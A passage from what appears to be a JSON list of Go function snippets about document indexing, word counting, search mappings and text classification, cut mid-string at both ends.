word list for later computation of alternative spellings\\n\\twords := make(map[string]*LookupResult);\\n\\tvar wlist RunList;\\n\\tfor w, h := range x.words {\\n\\t\\tdecls := reduce(&h.Decls);\\n\\t\\tothers := reduce(&h.Others);\\n\\t\\twords[w] = &LookupResult{\\n\\t\\t\\tDecls: decls,\\n\\t\\t\\tOthers: others,\\n\\t\\t};\\n\\t\\twlist.Push(&wordPair{canonical(w), w});\\n\\t}\\n\\n\\t// reduce the word list {canonical(w), w} into\\n\\t// a list of AltWords runs {canonical(w), {w}}\\n\\talist := wlist.reduce(lessWordPair, newAltWords);\\n\\n\\t// convert alist into a map of alternative spellings\\n\\talts := make(map[string]*AltWords);\\n\\tfor i := 0; i < alist.Len(); i++ {\\n\\t\\ta := alist.At(i).(*AltWords);\\n\\t\\talts[a.Canon] = a;\\n\\t}\\n\\n\\t// convert snippet vector into a list\\n\\tsnippets := make([]*Snippet, x.snippets.Len());\\n\\tfor i := 0; i < x.snippets.Len(); i++ {\\n\\t\\tsnippets[i] = x.snippets.At(i).(*Snippet)\\n\\t}\\n\\n\\treturn &Index{words, alts, snippets, x.nspots};\\n}\",\n \"func New(col *parser.Collection) *Indexer {\\n\\tindex := make(map[int]map[int]float64)\\n\\tidfDict := make(map[int]float64)\\n\\tvocDict := make(map[string]int)\\n\\tdocDict := make(map[int]*parser.Document)\\n\\tdocNormDict := make(map[int]float64)\\n\\treturn &Indexer{col, index, vocDict, idfDict, docDict, docNormDict}\\n}\",\n \"func (wt *WaterTower) AddTagToDocument(tag, uniqueKey string) error {\\n\\treturn nil\\n}\",\n \"func (i *Index) writeSearch(tr fdb.Transaction, primaryTuple tuple.Tuple, input, oldObject *Struct) error {\\n\\tnewWords := searchGetInputWords(i, input)\\n\\ttoAddWords := map[string]bool{}\\n\\tskip := false\\n\\tif i.checkHandler != nil {\\n\\t\\tif !i.checkHandler(input.value.Interface()) {\\n\\t\\t\\t//fmt.Println(\\\"skipping index\\\")\\n\\t\\t\\tskip = true\\n\\t\\t}\\n\\t\\t// old value is better to delete any way\\n\\t}\\n\\tif !skip {\\n\\t\\tfor _, word := range newWords {\\n\\t\\t\\ttoAddWords[word] = true\\n\\t\\t}\\n\\t\\tfmt.Println(\\\"index words >>\\\", newWords)\\n\\t}\\n\\ttoDeleteWords := map[string]bool{}\\n\\tif oldObject != nil {\\n\\t\\toldWords := searchGetInputWords(i, oldObject)\\n\\t\\tfor _, word := range oldWords {\\n\\t\\t\\t_, ok := toAddWords[word]\\n\\t\\t\\tif ok {\\n\\t\\t\\t\\tdelete(toAddWords, word)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\ttoDeleteWords[word] = true\\n\\t\\t\\t}\\n\\n\\t\\t}\\n\\t}\\n\\tfor word := range toAddWords {\\n\\t\\tkey := tuple.Tuple{word}\\n\\t\\tfullKey := append(key, primaryTuple...)\\n\\t\\tfmt.Println(\\\"write search key\\\", fullKey, \\\"packed\\\", i.dir.Pack(fullKey))\\n\\t\\ttr.Set(i.dir.Pack(fullKey), []byte{})\\n\\t}\\n\\tfor word := range toDeleteWords {\\n\\t\\tkey := tuple.Tuple{word}\\n\\t\\tfullKey := append(key, primaryTuple...)\\n\\t\\ttr.Clear(i.dir.Pack(fullKey))\\n\\t}\\n\\treturn nil\\n}\",\n \"func (d *docGenerator) generateIndexDocs(docs map[string][]handlerDoc, versions []string,\\n\\tdir string) error {\\n\\n\\ttpl, err := d.parse(indexTemplate)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tfor version, docList := range docs {\\n\\t\\trendered := tpl.render(map[string]interface{}{\\n\\t\\t\\t\\\"handlers\\\": docList,\\n\\t\\t\\t\\\"version\\\": version,\\n\\t\\t\\t\\\"versions\\\": versions,\\n\\t\\t})\\n\\t\\tif err := d.write(fmt.Sprintf(\\\"%sindex_v%s.html\\\", dir, version),\\n\\t\\t\\t[]byte(rendered), 0644); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func BuildIndex(dir string){\\n\\tconfig := Config()\\n\\tbuilder := makeIndexBuilder(config)\\n\\tbuilder.Build(\\\"/\\\")\\n\\tsort.Strings(documents)\\n\\tsave(documents, config)\\n}\",\n \"func process(document string) {\\n\\tfmt.Printf(\\\"\\\\n> %v\\\\n\\\\n\\\", document)\\n\\t// the sanitized document\\n\\tdoc := san.GetDocument(document)\\n\\tif len(doc) < 1 {\\n\\t\\treturn\\n\\t}\\n\\n\\t// classification of this document\\n\\t//fmt.Printf(\\\"---> %s\\\\n\\\", doc)\\n\\tscores, inx, _ := clssfier.ProbScores(doc)\\n\\tlogScores, logInx, _ := clssfier.LogScores(doc)\\n\\tclass := clssfier.Classes[inx]\\n\\tlogClass := clssfier.Classes[logInx]\\n\\n\\t// the rate of positive sentiment\\n\\tposrate := float64(count[0]) / float64(count[0]+count[1])\\n\\tlearned := \\\"\\\"\\n\\n\\t// if above the threshold, then learn\\n\\t// this document\\n\\tif scores[inx] > *thresh {\\n\\t\\tclssfier.Learn(doc, class)\\n\\t\\tlearned = \\\"***\\\"\\n\\t}\\n\\n\\t// print info\\n\\tprettyPrintDoc(doc)\\n\\tfmt.Printf(\\\"%7.5f %v %v\\\\n\\\", scores[inx], class, learned)\\n\\tfmt.Printf(\\\"%7.2f %v\\\\n\\\", logScores[logInx], logClass)\\n\\tif logClass != class {\\n\\t\\t// incorrect classification due to underflow\\n\\t\\tfmt.Println(\\\"CLASSIFICATION ERROR!\\\")\\n\\t}\\n\\tfmt.Printf(\\\"%7.5f (posrate)\\\\n\\\", posrate)\\n\\t//fmt.Printf(\\\"%5.5f (high-probability posrate)\\\\n\\\", highrate)\\n}\",\n \"func CreateDocument( vehicleid string, latitude, longitude float64 ) error {\\n\\n\\tid := uuid.Must(uuid.NewV4()).String()\\n\\tjsonData := jsonDocument(vehicleid, latitude, longitude)\\n\\n\\tctx := context.Background()\\n\\tdoc, err := client.Index().\\n\\t\\tIndex(os.Getenv(\\\"ELASTICSEARCH_INDEX\\\")).\\n\\t\\tType(os.Getenv(\\\"ELASTICSEARCH_TYPE\\\")).\\n\\t Id(id).\\n\\t BodyString(jsonData).\\n\\t Do(ctx)\\n\\tcommon.CheckError(err)\\n\\tlog.Printf(\\\"Indexed geolocation %s to index %s, type %s\\\\n\\\", doc.Id, doc.Index, doc.Type)\\n\\treturn nil\\n}\",\n \"func (i *Index) Create() error {\\n\\n\\tdoc := mapping{Properties: map[string]mappingProperty{}}\\n\\tfor _, f := range i.md.Fields {\\n\\t\\tdoc.Properties[f.Name] = mappingProperty{}\\n\\t\\tfs, err := fieldTypeString(f.Type)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tdoc.Properties[f.Name][\\\"type\\\"] = fs\\n\\t}\\n\\n // Added for apple to apple benchmark\\n doc.Properties[\\\"body\\\"][\\\"type\\\"] = \\\"text\\\"\\n doc.Properties[\\\"body\\\"][\\\"analyzer\\\"] = \\\"my_english_analyzer\\\"\\n doc.Properties[\\\"body\\\"][\\\"search_analyzer\\\"] = \\\"whitespace\\\"\\n doc.Properties[\\\"body\\\"][\\\"index_options\\\"] = \\\"offsets\\\"\\n //doc.Properties[\\\"body\\\"][\\\"test\\\"] = \\\"test\\\"\\n index_map := map[string]int{\\n \\\"number_of_shards\\\" : 1,\\n \\\"number_of_replicas\\\" : 0,\\n }\\n analyzer_map := map[string]interface{}{\\n \\\"my_english_analyzer\\\": map[string]interface{}{\\n \\\"tokenizer\\\": \\\"standard\\\",\\n \\\"char_filter\\\": []string{ \\\"html_strip\\\" } ,\\n \\\"filter\\\" : []string{\\\"english_possessive_stemmer\\\", \\n \\\"lowercase\\\", \\\"english_stop\\\", \\n \\\"english_stemmer\\\", \\n \\\"asciifolding\\\", \\\"icu_folding\\\"},\\n },\\n }\\n filter_map := map[string]interface{}{\\n \\\"english_stop\\\": map[string]interface{}{\\n \\\"type\\\": \\\"stop\\\",\\n \\\"stopwords\\\": \\\"_english_\\\",\\n },\\n \\\"english_possessive_stemmer\\\": map[string]interface{}{\\n \\\"type\\\": \\\"stemmer\\\",\\n \\\"language\\\": \\\"possessive_english\\\",\\n },\\n \\\"english_stemmer\\\" : map[string]interface{}{\\n \\\"type\\\" : \\\"stemmer\\\",\\n \\\"name\\\" : \\\"english\\\",\\n },\\n \\\"my_folding\\\": map[string]interface{}{\\n \\\"type\\\": \\\"asciifolding\\\",\\n \\\"preserve_original\\\": \\\"false\\\",\\n },\\n }\\n analysis_map := map[string]interface{}{\\n \\\"analyzer\\\": analyzer_map,\\n \\\"filter\\\" : filter_map,\\n }\\n settings := map[string]interface{}{\\n \\\"index\\\": index_map,\\n \\\"analysis\\\": analysis_map,\\n }\\n\\n // TODO delete?\\n\\t// we currently manually create the autocomplete mapping\\n\\t/*ac := mapping{\\n\\t\\tProperties: map[string]mappingProperty{\\n\\t\\t\\t\\\"sugg\\\": mappingProperty{\\n\\t\\t\\t\\t\\\"type\\\": \\\"completion\\\",\\n\\t\\t\\t\\t\\\"payloads\\\": true,\\n\\t\\t\\t},\\n\\t\\t},\\n\\t}*/\\n\\n\\tmappings := map[string]mapping{\\n\\t\\ti.typ: doc,\\n //\\t\\\"autocomplete\\\": ac,\\n\\t}\\n\\n fmt.Println(mappings)\\n\\n\\t//_, err := i.conn.CreateIndex(i.name).BodyJson(map[string]interface{}{\\\"mappings\\\": mappings}).Do()\\n\\t_, err := i.conn.CreateIndex(i.name).BodyJson(map[string]interface{}{\\\"mappings\\\": mappings, \\\"settings\\\": settings}).Do()\\n\\n if err != nil {\\n fmt.Println(\\\"Error \\\", err)\\n\\t\\tfmt.Println(\\\"!!!!Get Error when using client to create index\\\")\\n\\t}\\n\\n\\treturn err\\n}\",\n \"func (this *Corpus) Load(fn string) {\\n\\tf, err := os.Open(fn)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\tif this.Docs == nil {\\n\\t\\tthis.Docs = make(map[uint32][]*WordCount)\\n\\t}\\n\\tvocabMaxId := uint32(0)\\n\\n\\tscanner := bufio.NewScanner(f)\\n\\tfor scanner.Scan() {\\n\\t\\tdoc := scanner.Text()\\n\\t\\tvals := strings.Split(doc, \\\" \\\")\\n\\t\\tif len(vals) < 2 {\\n\\t\\t\\tlog.Warningf(\\\"bad document: %s\\\", doc)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tdocId, err := strconv.ParseUint(vals[0], 10, 32)\\n\\t\\tif err != nil {\\n\\t\\t\\tpanic(err)\\n\\t\\t}\\n\\n\\t\\tthis.DocNum += uint32(1)\\n\\n\\t\\tfor _, kv := range vals[1:] {\\n\\t\\t\\twc := strings.Split(kv, \\\":\\\")\\n\\t\\t\\tif len(wc) != 2 {\\n\\t\\t\\t\\tlog.Warningf(\\\"bad word count: %s\\\", kv)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\n\\t\\t\\twordId, err := strconv.ParseUint(wc[0], 10, 32)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tpanic(err)\\n\\t\\t\\t}\\n\\n\\t\\t\\tcount, err := strconv.ParseUint(wc[1], 10, 32)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tpanic(err)\\n\\t\\t\\t}\\n\\n\\t\\t\\tthis.Docs[uint32(docId)] = append(this.Docs[uint32(docId)], &WordCount{\\n\\t\\t\\t\\tWordId: uint32(wordId),\\n\\t\\t\\t\\tCount: uint32(count),\\n\\t\\t\\t})\\n\\t\\t\\tif uint32(wordId) > vocabMaxId {\\n\\t\\t\\t\\tvocabMaxId = uint32(wordId)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\tthis.VocabSize = vocabMaxId + 1\\n\\n\\tlog.Infof(\\\"number of documents %d\\\", this.DocNum)\\n\\tlog.Infof(\\\"vocabulary size %d\\\", this.VocabSize)\\n}\",\n \"func NewDocument(chainDoc *ChainDocument) *Document {\\n\\tcontentGroups := make([]*ContentGroup, 0, len(chainDoc.ContentGroups))\\n\\tcertificates := make([]*Certificate, 0, len(chainDoc.Certificates))\\n\\n\\tfor i, chainContentGroup := range chainDoc.ContentGroups {\\n\\t\\tcontentGroups = append(contentGroups, NewContentGroup(chainContentGroup, i+1))\\n\\t}\\n\\n\\tfor i, chainCertificate := range chainDoc.Certificates {\\n\\t\\tcertificates = append(certificates, NewCertificate(chainCertificate, i+1))\\n\\t}\\n\\n\\treturn &Document{\\n\\t\\tHash: chainDoc.Hash,\\n\\t\\tCreatedDate: ToTime(chainDoc.CreatedDate),\\n\\t\\tCreator: chainDoc.Creator,\\n\\t\\tContentGroups: contentGroups,\\n\\t\\tCertificates: certificates,\\n\\t\\tDType: []string{\\\"Document\\\"},\\n\\t}\\n}\",\n \"func (g Generator) NewDocument(eventTime time.Time, d *pathway.Document) *ir.Document {\\n\\treturn g.documentGenerator.Document(eventTime, d)\\n}\",\n \"func (g *Generator) SetNumWords(count int) {\\n\\tg.numwords = count\\n}\",\n \"func newDocWithId(c *gin.Context) {\\n\\tkey := c.Params.ByName(\\\"id\\\")\\n\\tres := saveDocument(key, c)\\n\\tif res.Ok == false {\\n\\t\\tlog.Printf(\\\"Error saving document: %s\\\", res.Error)\\n\\t\\tc.JSON(statusErr, res)\\n\\t} else {\\n\\t\\tc.JSON(statusOk, res)\\n\\t}\\n}\",\n \"func (classifier *Classifier) Learn(docs ...Document) {\\n\\tlog.Infof(\\\"-----------------------start Learn-----------------------\\\")\\n\\tdefer func() {\\n\\t\\tlog.Infof(\\\"-----------------------end Learn-----------------------\\\")\\n\\t}()\\n\\tclassifier.NAllDocument += len(docs)\\n\\n\\tfor _, doc := range docs {\\n\\t\\tclassifier.NDocumentByClass[doc.Class]++\\n\\n\\t\\ttokens := doc.Tokens\\n\\t\\tif classifier.Model == MultinomialBoolean {\\n\\t\\t\\ttokens = classifier.removeDuplicate(doc.Tokens...)\\n\\t\\t}\\n\\n\\t\\tfor _, token := range tokens {\\n\\t\\t\\tclassifier.NFrequencyByClass[doc.Class]++\\n\\n\\t\\t\\tif _, exist := classifier.LearningResults[token]; !exist {\\n\\t\\t\\t\\tclassifier.LearningResults[token] = make(map[Class]int)\\n\\t\\t\\t}\\n\\n\\t\\t\\tclassifier.LearningResults[token][doc.Class]++\\n\\t\\t}\\n\\t}\\n\\n\\tfor class, nDocument := range classifier.NDocumentByClass {\\n\\t\\tlog.Infof(\\\"class : [%s] nDocument : [%d] NAllDocument : [%d]\\\", class, nDocument, classifier.NAllDocument)\\n\\t\\tclassifier.PriorProbabilities[class] = float64(nDocument) / float64(classifier.NAllDocument)\\n\\t}\\n}\",\n \"func New(docs []string) *Index {\\n\\tm := make(map[string]map[int]bool)\\n\\n\\tfor i := 0; i < len(docs); i++ {\\n\\t\\twords := strings.Fields(docs[i])\\n\\t\\tfor j := 0; j < len(words); j++ {\\n\\t\\t\\tif m[words[j]] == nil {\\n\\t\\t\\t\\tm[words[j]] = make(map[int]bool)\\n\\t\\t\\t}\\n\\t\\t\\tm[words[j]][i+1] = true\\n\\t\\t}\\n\\t}\\n\\treturn &(Index{m})\\n}\",\n \"func prepareDocumentRequest(node models.Node) (elastic.BulkIndexRequest, error) {\\n\\treq := elastic.NewBulkIndexRequest()\\n\\treq.OpType(\\\"index\\\")\\n\\treq.Id(node.ID)\\n\\treq.Doc(node)\\n\\treq.Index(\\\"ire\\\")\\n\\treturn *req, nil\\n}\",\n \"func GenerateWord() (string, error) {\\n\\taddress := fmt.Sprintf(\\\"%s:%v\\\", cfg.Conf.Word.Service.Host, cfg.Conf.Word.Service.Port)\\n\\tconn, err := grpc.Dial(address, grpc.WithInsecure())\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"error while connecting: %v\\\", err)\\n\\t}\\n\\tdefer conn.Close()\\n\\tc := wordgen.NewWordGeneratorClient(conn)\\n\\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\\n\\tdefer cancel()\\n\\tresp, err := c.GenerateWord(ctx, &wordgen.GenerateWordReq{})\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"error while making request: %v\\\", err)\\n\\t}\\n\\treturn resp.Word, nil\\n}\",\n \"func NewDocument() *Element {\\n\\treturn &Element{\\n\\t\\tType: DocumentType,\\n\\t}\\n}\",\n \"func (indexer Indexer) GetDocDict() *map[int]*parser.Document {\\n\\treturn &indexer.docDict\\n}\",\n \"func (rn *Runner) initSimDocs() {\\n\\tvar err error\\n\\tvar sdoc bson.M\\n\\n\\tif rn.verbose {\\n\\t\\tlog.Println(\\\"initSimDocs\\\")\\n\\t}\\n\\trand.Seed(time.Now().Unix())\\n\\ttotal := 512\\n\\tif rn.filename == \\\"\\\" {\\n\\t\\tfor len(simDocs) < total {\\n\\t\\t\\tsimDocs = append(simDocs, util.GetDemoDoc())\\n\\t\\t}\\n\\t\\treturn\\n\\t}\\n\\n\\tif sdoc, err = util.GetDocByTemplate(rn.filename, true); err != nil {\\n\\t\\treturn\\n\\t}\\n\\tbytes, _ := json.Marshal(sdoc)\\n\\tif rn.verbose {\\n\\t\\tlog.Println(string(bytes))\\n\\t}\\n\\tdoc := make(map[string]interface{})\\n\\tjson.Unmarshal(bytes, &doc)\\n\\n\\tfor len(simDocs) < total {\\n\\t\\tndoc := make(map[string]interface{})\\n\\t\\tutil.RandomizeDocument(&ndoc, doc, false)\\n\\t\\tdelete(ndoc, \\\"_id\\\")\\n\\t\\tndoc[\\\"_search\\\"] = strconv.FormatInt(rand.Int63(), 16)\\n\\t\\tsimDocs = append(simDocs, ndoc)\\n\\t}\\n}\",\n \"func (o BucketWebsiteOutput) IndexDocument() pulumi.StringPtrOutput {\\n\\treturn o.ApplyT(func(v BucketWebsite) *string { return v.IndexDocument }).(pulumi.StringPtrOutput)\\n}\",\n \"func (s Service) CreateDocument(ctx context.Context, req documents.UpdatePayload) (documents.Model, error) {\\n\\treturn s.pendingDocSrv.Create(ctx, req)\\n}\",\n \"func NewInvertedIndexBySego(docs []Documenter, segmenter *sego.Segmenter, stopword *sego.StopWords) InvertedIndex {\\n\\tinvertedIndex := make(map[string][]*Node)\\n\\twg := &sync.WaitGroup{}\\n\\twg.Add(len(docs))\\n\\tfor _, d := range docs {\\n\\t\\tgo func(doc Documenter) {\\n\\t\\t\\tsegments := segmenter.Segment([]byte(doc.Text()))\\n\\t\\t\\tfiltedSegments := stopword.Filter(segments, true)\\n\\t\\t\\tdoc.SetSegments(filtedSegments)\\n\\t\\t\\twg.Done()\\n\\t\\t}(d)\\n\\t}\\n\\twg.Wait()\\n\\tfor _, doc := range docs {\\n\\t\\tfor _, s := range doc.Segments() {\\n\\t\\t\\ttoken := s.Token()\\n\\t\\t\\tterm := token.Text()\\n\\t\\t\\tlist := invertedIndex[term]\\n\\t\\t\\tif list == nil {\\n\\t\\t\\t\\tnewNode := &Node{doc.Id(), 1, []TermPosition{TermPosition{s.Start(), s.End()}}, doc}\\n\\t\\t\\t\\tlist = []*Node{newNode}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tisDupNode := false\\n\\t\\t\\t\\tfor _, node := range list {\\n\\t\\t\\t\\t\\tif node.Id == doc.Id() {\\n\\t\\t\\t\\t\\t\\tnode.TermFrequency += 1\\n\\t\\t\\t\\t\\t\\tnewPosition := TermPosition{s.Start(), s.End()}\\n\\t\\t\\t\\t\\t\\tnode.TermPositions = append(node.TermPositions, newPosition)\\n\\t\\t\\t\\t\\t\\tisDupNode = true\\n\\t\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif !isDupNode {\\n\\t\\t\\t\\t\\tnewNode := &Node{doc.Id(), 1, []TermPosition{TermPosition{s.Start(), s.End()}}, doc}\\n\\t\\t\\t\\t\\tlist = append(list, newNode)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tinvertedIndex[term] = list\\n\\t\\t}\\n\\t}\\n\\treturn invertedIndex\\n}\",\n \"func Constructor() WordDictionary {\\n \\n}\",\n \"func EncodeDocument(doc map[string]string) []byte {\\n\\n\\tencBuf := new(bytes.Buffer)\\n\\tencoder := gob.NewEncoder(encBuf)\\n\\terr := encoder.Encode(doc)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Encoder unable to binary encode document for: %#v\\\\n\\\", doc)\\n\\t}\\n\\treturn encBuf.Bytes()\\n\\n}\",\n \"func writer(ch <-chan Word, index *sync.Map, wg *sync.WaitGroup) {\\n\\tfor {\\n\\t\\tif word, more := <-ch; more {\\n\\t\\t\\t// fmt.Printf(\\\"Writing: %s\\\\n\\\", word)\\n\\t\\t\\tseen, loaded := index.LoadOrStore(word.word, []int{word.index})\\n\\t\\t\\tif loaded && !contains(seen.([]int), word.index) {\\n\\t\\t\\t\\tseen = append(seen.([]int), word.index)\\n\\t\\t\\t\\tindex.Store(word.word, seen)\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\twg.Done()\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n}\",\n \"func (b *baseCount) process(w word) {\\n\\tb.Lock()\\n\\tdefer b.Unlock()\\n\\n\\tif _, ok := b.words[w]; !ok {\\n\\t\\tb.words[w] = 0\\n\\t}\\n\\n\\tb.words[w] += 1\\n}\",\n \"func Generate(ddb *dynamodb.DynamoDB, verbose bool) error {\\n\\twords, err := giraffe.GetEnWords()\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"getting wordlist\\\")\\n\\t}\\n\\tfor g := range giraffe.Giraffes(words) {\\n\\t\\tfor idx := 0; idx < 10; idx++ {\\n\\t\\t\\tfor _, pattern := range patterns {\\n\\t\\t\\t\\tif pattern == \\\"\\\" {\\n\\t\\t\\t\\t\\tpattern = \\\"/\\\"\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tvar key = g.Key\\n\\t\\t\\t\\tvar err error\\n\\t\\t\\t\\tif pattern != \\\"/\\\" {\\n\\t\\t\\t\\t\\tpattern = fmt.Sprintf(pattern, idx)\\n\\t\\t\\t\\t\\tkey, err = key.DeriveFrom(\\\"/\\\", pattern)\\n\\t\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\t\\treturn errors.Wrap(err, \\\"deriving key\\\")\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\taddr, err := address.Generate(address.KindUser, key.PubKeyBytes())\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn errors.Wrap(err, \\\"generating address\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\terr = Add(\\n\\t\\t\\t\\t\\tddb,\\n\\t\\t\\t\\t\\tBadAddress{\\n\\t\\t\\t\\t\\t\\tAddress: addr,\\n\\t\\t\\t\\t\\t\\tPath: pattern,\\n\\t\\t\\t\\t\\t\\tReason: fmt.Sprintf(\\n\\t\\t\\t\\t\\t\\t\\t\\\"derives from 12-word phrase with identical words: %s\\\",\\n\\t\\t\\t\\t\\t\\t\\tg.Word,\\n\\t\\t\\t\\t\\t\\t),\\n\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t\\tfalse,\\n\\t\\t\\t\\t)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn errors.Wrap(err, \\\"sending to DDB\\\")\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o BucketV2WebsiteOutput) IndexDocument() pulumi.StringPtrOutput {\\n\\treturn o.ApplyT(func(v BucketV2Website) *string { return v.IndexDocument }).(pulumi.StringPtrOutput)\\n}\",\n \"func (m *WordModel) AddWord(word string, freqCount float32) {\\n\\tm.builder.Add(word)\\n\\tm.frequencies = append(m.frequencies, freqCount)\\n}\",\n \"func indexReviews(reviews []httpResponse, filter_filename string) (map[string] map[string] []int, []string) {\\n // Make the indexes\\n index := make(map[string] (map[string] []int))\\n // Replacer for punctuation in review body\\n replacer := strings.NewReplacer(\\\",\\\", \\\"\\\", \\\";\\\", \\\"\\\", \\\".\\\", \\\"\\\", \\\"!\\\", \\\"\\\")\\n // Get the words to filter\\n filtered_words := getFilteredWords(filter_filename)\\n for _, review := range reviews {\\n fmt.Println(\\\"indexing\\\")\\n fmt.Println(review.url)\\n // Copy over title\\n curr_title := review.title\\n // Format text\\n curr_text := strings.ToLower(review.text)\\n curr_text = replacer.Replace(curr_text)\\n // Filter words out\\n filterWords(&curr_text, filtered_words)\\n // Format resulting text into slice\\n formatted_text := strings.Fields(curr_text)\\n // Loop through each word in text and input into index\\n for i, word := range formatted_text {\\n // Check to see if word is alredy in index\\n _, in_index := index[word]\\n\\n // if word not in index then add it\\n if !in_index {\\n index[word] = make(map[string] []int)\\n }\\n // Append current index in review for the given word\\n index[word][curr_title] = append(index[word][curr_title], i)\\n }\\n fmt.Println(\\\"Finished.\\\")\\n }\\n return index, filtered_words\\n}\",\n \"func (d Document) getDocument(fp []string, create bool) (Document, error) {\\n\\tif len(fp) == 0 {\\n\\t\\treturn d, nil\\n\\t}\\n\\tx, err := d.GetField(fp[0])\\n\\tif err != nil {\\n\\t\\tif create && gcerrors.Code(err) == gcerrors.NotFound {\\n\\t\\t\\t// TODO(jba): create the right type for the struct field.\\n\\t\\t\\tx = map[string]interface{}{}\\n\\t\\t\\tif err := d.SetField(fp[0], x); err != nil {\\n\\t\\t\\t\\treturn Document{}, err\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\treturn Document{}, err\\n\\t\\t}\\n\\t}\\n\\td2, err := NewDocument(x)\\n\\tif err != nil {\\n\\t\\treturn Document{}, err\\n\\t}\\n\\treturn d2.getDocument(fp[1:], create)\\n}\",\n \"func writeDocumentInfoDict(ctx *PDFContext) error {\\n\\n\\t// => 14.3.3 Document Information Dictionary\\n\\n\\t// Optional:\\n\\t// Title -\\n\\t// Author -\\n\\t// Subject -\\n\\t// Keywords -\\n\\t// Creator -\\n\\t// Producer\\t\\t modified by pdfcpu\\n\\t// CreationDate\\t modified by pdfcpu\\n\\t// ModDate\\t\\t modified by pdfcpu\\n\\t// Trapped -\\n\\n\\tlog.Debug.Printf(\\\"*** writeDocumentInfoDict begin: offset=%d ***\\\\n\\\", ctx.Write.Offset)\\n\\n\\t// Document info object is optional.\\n\\tif ctx.Info == nil {\\n\\t\\tlog.Debug.Printf(\\\"writeDocumentInfoObject end: No info object present, offset=%d\\\\n\\\", ctx.Write.Offset)\\n\\t\\t// Note: We could generate an info object from scratch in this scenario.\\n\\t\\treturn nil\\n\\t}\\n\\n\\tlog.Debug.Printf(\\\"writeDocumentInfoObject: %s\\\\n\\\", *ctx.Info)\\n\\n\\tobj := *ctx.Info\\n\\n\\tdict, err := ctx.DereferenceDict(obj)\\n\\tif err != nil || dict == nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// TODO Refactor - for stats only.\\n\\terr = writeInfoDict(ctx, dict)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// These are the modifications for the info dict of this PDF file:\\n\\n\\tdateStringLiteral := DateStringLiteral(time.Now())\\n\\n\\tdict.Update(\\\"CreationDate\\\", dateStringLiteral)\\n\\tdict.Update(\\\"ModDate\\\", dateStringLiteral)\\n\\tdict.Update(\\\"Producer\\\", PDFStringLiteral(PDFCPULongVersion))\\n\\n\\t_, _, err = writeDeepObject(ctx, obj)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tlog.Debug.Printf(\\\"*** writeDocumentInfoDict end: offset=%d ***\\\\n\\\", ctx.Write.Offset)\\n\\n\\treturn nil\\n}\",\n \"func (x *Indexer) Add(doc *Doc) error {\\n\\tdid, err := x.doc2Id(doc)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdoc.Path = \\\"\\\"\\n\\tx.shatter <- &shatterReq{docid: did, offset: doc.Start, d: doc.Dat}\\n\\treturn nil\\n}\",\n \"func BuildDoc(opts ...DocOption) *Doc {\\n\\tdoc := &Doc{}\\n\\tdoc.Context = []string{Context}\\n\\n\\tfor _, opt := range opts {\\n\\t\\topt(doc)\\n\\t}\\n\\n\\treturn doc\\n}\",\n \"func NewDocumentUpdate(ctx *middleware.Context, handler DocumentUpdateHandler) *DocumentUpdate {\\n\\treturn &DocumentUpdate{Context: ctx, Handler: handler}\\n}\",\n \"func NewWordCounter() *wordCounter {\\n\\treturn &wordCounter{\\n\\t\\tcount: 0,\\n\\t\\twordMap: make(map[string]int),\\n\\t\\tmostFrequent: []string{},\\n\\t\\tlock: &sync.RWMutex{},\\n\\t}\\n}\",\n \"func (wt *WaterTower) PostDocument(uniqueKey string, document *Document) (uint32, error) {\\n\\tretryCount := 50\\n\\tvar lastError error\\n\\tvar docID uint32\\n\\tnewTags, newDocTokens, wordCount, titleWordCount, err := wt.analyzeDocument(\\\"new\\\", document)\\n\\tif err != nil {\\n\\t\\treturn 0, err\\n\\t}\\n\\tfor i := 0; i < retryCount; i++ {\\n\\t\\tdocID, lastError = wt.postDocumentKey(uniqueKey)\\n\\t\\tif lastError == nil {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\tif lastError != nil {\\n\\t\\treturn 0, fmt.Errorf(\\\"fail to register document's unique key: %w\\\", lastError)\\n\\t}\\n\\tfor i := 0; i < retryCount; i++ {\\n\\t\\toldDoc, err := wt.postDocument(docID, uniqueKey, wordCount, titleWordCount, document)\\n\\t\\tif err != nil {\\n\\t\\t\\tlastError = err\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\toldTags, 